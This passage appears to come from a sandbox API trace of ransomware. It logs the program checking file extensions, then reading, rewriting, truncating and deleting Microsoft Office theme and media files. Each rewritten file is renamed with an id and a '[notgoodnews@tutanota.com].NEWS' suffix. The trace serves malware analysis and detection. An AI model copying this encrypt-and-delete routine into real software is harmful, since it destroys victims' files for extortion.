lpString2="eftx") returned -1 [0253.272] lstrlenW (lpString=".xls") returned 4 [0253.272] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0253.272] lstrlenW (lpString=".xlsx") returned 5 [0253.272] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0253.272] lstrlenW (lpString=".ppt") returned 4 [0253.272] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0253.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0253.272] lstrlenW (lpString=".zip") returned 4 [0253.272] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0253.272] lstrlenW (lpString=".rar") returned 4 [0253.273] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0253.273] lstrlenW (lpString=".bz2") returned 4 [0253.273] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0253.273] lstrlenW (lpString=".7z") returned 3 [0253.273] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0253.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0253.273] lstrlenW (lpString=".dbf") returned 4 [0253.273] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0253.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0253.273] lstrlenW (lpString=".1cd") returned 4 [0253.274] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0253.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0253.274] lstrlenW (lpString=".jpg") returned 4 [0253.274] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0253.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0253.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0253.275] lstrlenW (lpString=".doc") returned 4 [0253.275] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0253.275] lstrlenW (lpString=".docx") returned 5 [0253.275] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0253.275] lstrlenW (lpString=".pdf") returned 4 [0253.275] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0253.275] lstrlenW (lpString=".xls") returned 4 [0253.275] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0253.275] lstrlenW (lpString=".xlsx") returned 5 [0253.275] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0253.276] lstrlenW (lpString=".ppt") returned 4 [0253.276] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0253.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0253.276] lstrlenW (lpString=".zip") returned 4 [0253.276] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0253.276] lstrlenW (lpString=".rar") returned 4 [0253.276] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0253.276] lstrlenW (lpString=".bz2") returned 4 [0253.276] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0253.276] lstrlenW (lpString=".7z") returned 3 [0253.276] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0253.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0253.277] lstrlenW (lpString=".dbf") returned 4 [0253.277] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0253.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0253.277] lstrlenW (lpString=".1cd") returned 4 [0253.277] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0253.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0253.277] lstrlenW (lpString=".jpg") returned 4 [0253.277] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0253.278] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0253.278] lstrlenW (lpString="Thatch.eftx") returned 11 [0253.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0254.884] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=41295) returned 1 [0254.884] CloseHandle (hObject=0x15c) returned 1 [0254.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 0x20 [0255.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0255.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0255.366] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0255.366] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0255.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0260.011] GetLastError () returned 0x0 [0260.011] ReadFile (in: hFile=0x324, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0xa14f, lpOverlapped=0x0) returned 1 [0260.171] WriteFile (in: hFile=0x3a8, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xa150, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xa150, lpOverlapped=0x0) returned 1 [0260.176] ReadFile (in: hFile=0x324, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0260.176] WriteFile (in: hFile=0x3a8, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xea, lpOverlapped=0x0) returned 1 [0260.177] SetEndOfFile (hFile=0x3a8) returned 1 [0260.177] CloseHandle (hObject=0x3a8) returned 1 [0260.177] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0260.177] SetEndOfFile (hFile=0x324) returned 1 [0260.187] CloseHandle (hObject=0x324) returned 1 [0260.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0260.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 1 [0260.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0260.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0260.189] lstrlenW (lpString=".doc") returned 4 [0260.189] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0260.189] lstrlenW (lpString=".docx") returned 5 [0260.189] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0260.190] lstrlenW (lpString=".pdf") returned 4 [0260.190] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0260.190] lstrlenW (lpString=".xls") returned 4 [0260.190] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0260.190] lstrlenW (lpString=".xlsx") returned 5 [0260.190] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0260.190] lstrlenW (lpString=".ppt") returned 4 [0260.190] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0260.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0260.190] lstrlenW (lpString=".zip") returned 4 [0260.190] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0260.190] lstrlenW (lpString=".rar") returned 4 [0260.190] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0260.191] lstrlenW (lpString=".bz2") returned 4 [0260.191] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0260.191] lstrlenW (lpString=".7z") returned 3 [0260.191] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0260.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0260.191] lstrlenW (lpString=".dbf") returned 4 [0260.191] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0260.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0260.191] lstrlenW (lpString=".1cd") returned 4 [0260.191] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0260.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0260.191] lstrlenW (lpString=".jpg") returned 4 [0260.191] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0260.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0260.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0260.192] lstrlenW (lpString=".doc") returned 4 [0260.192] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0260.192] lstrlenW (lpString=".docx") returned 5 [0260.192] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0260.192] lstrlenW (lpString=".pdf") returned 4 [0260.192] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0260.192] lstrlenW (lpString=".xls") returned 4 [0260.192] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0260.192] lstrlenW (lpString=".xlsx") returned 5 [0260.193] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0260.193] lstrlenW (lpString=".ppt") returned 4 [0260.193] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0260.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0260.193] lstrlenW (lpString=".zip") returned 4 [0260.193] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0260.193] lstrlenW (lpString=".rar") returned 4 [0260.193] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0260.193] lstrlenW (lpString=".bz2") returned 4 [0260.193] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0260.193] lstrlenW (lpString=".7z") returned 3 [0260.193] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0260.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0260.193] lstrlenW (lpString=".dbf") returned 4 [0260.194] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0260.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0260.194] lstrlenW (lpString=".1cd") returned 4 [0260.194] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0260.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0260.194] lstrlenW (lpString=".jpg") returned 4 [0260.194] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0260.194] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0260.195] lstrlenW (lpString="Waveform.eftx") returned 13 [0260.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0260.239] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=112504) returned 1 [0260.240] CloseHandle (hObject=0x3b8) returned 1 [0260.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 0x20 [0260.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0260.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0260.241] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0260.242] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0260.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0260.242] GetLastError () returned 0x0 [0260.243] ReadFile (in: hFile=0x3b8, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x1b778, lpOverlapped=0x0) returned 1 [0260.540] WriteFile (in: hFile=0x39c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1b780, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x1b780, lpOverlapped=0x0) returned 1 [0260.550] ReadFile (in: hFile=0x3b8, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0260.550] WriteFile (in: hFile=0x39c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xee, lpOverlapped=0x0) returned 1 [0260.551] SetEndOfFile (hFile=0x39c) returned 1 [0260.551] CloseHandle (hObject=0x39c) returned 1 [0260.884] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0260.885] SetEndOfFile (hFile=0x3b8) returned 1 [0262.387] CloseHandle (hObject=0x3b8) returned 1 [0262.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0262.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) returned 1 [0262.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0262.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0262.389] lstrlenW (lpString=".doc") returned 4 [0262.389] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0262.389] lstrlenW (lpString=".docx") returned 5 [0262.389] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0262.389] lstrlenW (lpString=".pdf") returned 4 [0262.389] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0262.389] lstrlenW (lpString=".xls") returned 4 [0262.390] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0262.390] lstrlenW (lpString=".xlsx") returned 5 [0262.390] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0262.390] lstrlenW (lpString=".ppt") returned 4 [0262.390] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0262.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0262.390] lstrlenW (lpString=".zip") returned 4 [0262.390] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0262.390] lstrlenW (lpString=".rar") returned 4 [0262.390] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0262.390] lstrlenW (lpString=".bz2") returned 4 [0262.391] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0262.391] lstrlenW (lpString=".7z") returned 3 [0262.391] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0262.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0262.391] lstrlenW (lpString=".dbf") returned 4 [0262.391] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0262.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0262.391] lstrlenW (lpString=".1cd") returned 4 [0262.391] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0262.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0262.391] lstrlenW (lpString=".jpg") returned 4 [0262.391] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0262.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0262.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0262.392] lstrlenW (lpString=".doc") returned 4 [0262.392] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0262.392] lstrlenW (lpString=".docx") returned 5 [0262.392] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0262.392] lstrlenW (lpString=".pdf") returned 4 [0262.392] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0262.392] lstrlenW (lpString=".xls") returned 4 [0262.392] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0262.392] lstrlenW (lpString=".xlsx") returned 5 [0262.393] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0262.393] lstrlenW (lpString=".ppt") returned 4 [0262.393] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0262.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0262.393] lstrlenW (lpString=".zip") returned 4 [0262.393] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0262.393] lstrlenW (lpString=".rar") returned 4 [0262.393] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0262.393] lstrlenW (lpString=".bz2") returned 4 [0262.393] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0262.393] lstrlenW (lpString=".7z") returned 3 [0262.394] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0262.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0262.394] lstrlenW (lpString=".dbf") returned 4 [0262.394] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0262.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0262.394] lstrlenW (lpString=".1cd") returned 4 [0262.394] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0262.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx") returned 80 [0262.394] lstrlenW (lpString=".jpg") returned 4 [0262.394] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0262.396] lstrcmpiW (lpString1=".MMW", lpString2=".NEWS") returned -1 [0262.396] lstrlenW (lpString="CAGCAT10.MMW") returned 12 [0262.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0262.397] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=394200) returned 1 [0262.397] CloseHandle (hObject=0x3b8) returned 1 [0262.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 0x20 [0262.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0262.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0262.398] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0262.399] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0262.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0265.893] GetLastError () returned 0x0 [0265.893] ReadFile (in: hFile=0x3b8, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x603d8, lpOverlapped=0x0) returned 1 [0266.085] WriteFile (in: hFile=0x3b0, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x603e0, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x603e0, lpOverlapped=0x0) returned 1 [0266.352] ReadFile (in: hFile=0x3b8, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0266.352] WriteFile (in: hFile=0x3b0, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.352] SetEndOfFile (hFile=0x3b0) returned 1 [0266.852] CloseHandle (hObject=0x3b0) returned 1 [0267.214] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0267.214] SetEndOfFile (hFile=0x3b8) returned 1 [0267.610] CloseHandle (hObject=0x3b8) returned 1 [0268.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0268.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw")) returned 1 [0268.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0268.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0268.533] lstrlenW (lpString=".doc") returned 4 [0268.533] lstrcmpiW (lpString1=".doc", lpString2=".MMW") returned -1 [0268.533] lstrlenW (lpString=".docx") returned 5 [0268.533] lstrcmpiW (lpString1=".docx", lpString2="0.MMW") returned -1 [0268.533] lstrlenW (lpString=".pdf") returned 4 [0268.533] lstrcmpiW (lpString1=".pdf", lpString2=".MMW") returned 1 [0268.533] lstrlenW (lpString=".xls") returned 4 [0268.533] lstrcmpiW (lpString1=".xls", lpString2=".MMW") returned 1 [0268.533] lstrlenW (lpString=".xlsx") returned 5 [0268.534] lstrcmpiW (lpString1=".xlsx", lpString2="0.MMW") returned -1 [0268.534] lstrlenW (lpString=".ppt") returned 4 [0268.534] lstrcmpiW (lpString1=".ppt", lpString2=".MMW") returned 1 [0268.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0268.534] lstrlenW (lpString=".zip") returned 4 [0268.534] lstrcmpiW (lpString1=".zip", lpString2=".MMW") returned 1 [0268.534] lstrlenW (lpString=".rar") returned 4 [0268.534] lstrcmpiW (lpString1=".rar", lpString2=".MMW") returned 1 [0268.534] lstrlenW 